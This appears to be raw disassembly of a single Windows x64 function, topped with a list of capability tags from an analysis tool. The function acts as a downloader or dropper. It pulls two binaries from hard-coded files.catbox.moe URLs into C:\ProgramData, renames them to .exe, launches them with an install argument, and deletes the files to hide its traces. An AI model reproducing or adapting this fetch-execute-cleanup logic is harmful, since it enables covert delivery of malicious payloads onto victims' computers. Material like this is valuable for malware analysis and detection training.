Function at 0x1400019a0
Capabilities:
Check http status code
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0xf60]
mov eax, 0x1060
call fcn.140004380
sub rsp, rax
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0xf50], rax
xor r14d, r14d
lea rcx, str.C:ProgramDatadownloadFlag.txt
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140001d94
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, str.Downloader
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x140001d94
mov qword [rsp + 0x28], r14
lea rdx, str.https:__files.catbox.moe_cn5ou4.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x84000380
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140001d8b
lea r9, [rsp + 0x48]
mov dword [rsp + 0x40], r14d
lea r8, [rsp + 0x40]
mov dword [rsp + 0x48], 4
mov edx, 0x20000013
mov qword [rsp + 0x20], r14
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x140001d82
cmp dword [rsp + 0x40], 0xc8
je 0x140001ae5
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r9d, 0x10
lea r8, str.Error
lea rdx, str.Failed_to_download_file:_HTTP_status_code_is_not_OK.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001d94
mov qword [rsp + 0x30], r14
lea rcx, str.C:ProgramData_file1.bin
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001d82
lea r9, [rsp + 0x44]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001b7f
nop dword [rax]
mov r8d, dword [rsp + 0x44]
test r8d, r8d
je 0x140001b7f
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x44]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001b40
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, str.Downloader
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x140001d94
mov qword [rsp + 0x28], r14
lea rdx, str.https:__files.catbox.moe_b6w9u1.bin
xor r9d, r9d
mov dword [rsp + 0x20], 0x84000380
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x140001d8b
lea r9, [rsp + 0x48]
mov dword [rsp + 0x44], r14d
lea r8, [rsp + 0x44]
mov dword [rsp + 0x48], 4
mov edx, 0x20000013
mov qword [rsp + 0x20], r14
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
je 0x140001d82
cmp dword [rsp + 0x44], 0xc8
jne 0x140001ab2
mov qword [rsp + 0x30], r14
lea rcx, str.C:ProgramData_file2.bin
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001d82
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001ccf
nop dword [rax]
mov r8d, dword [rsp + 0x40]
test r8d, r8d
je 0x140001ccf
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea r9, [rsp + 0x40]
mov r8d, 0x1000
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001c90
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.C:ProgramData_file1.exe
lea rcx, str.C:ProgramData_file1.bin
call fcn.140001350
test al, al
je 0x140001d94
lea rdx, str.C:ProgramData_file2.exe
lea rcx, str.C:ProgramData_file2.bin
call fcn.140001350
test al, al
je 0x140001d94
lea rdx, str._fullinstall
lea rcx, str.C:ProgramData_file1.exe
call fcn.1400018c0
test al, al
je 0x140001d94
lea rdx, [0x14000582c]
lea rcx, str.C:ProgramData_file2.exe
call fcn.1400018c0
test al, al
je 0x140001d94
lea rcx, str.C:ProgramData_file1.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:ProgramData_file2.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:ProgramData_file1.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:ProgramData_file2.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x140001d99
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0xf50]
xor rcx, rsp
call fcn.140003420
lea r11, [rsp + 0x1060]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret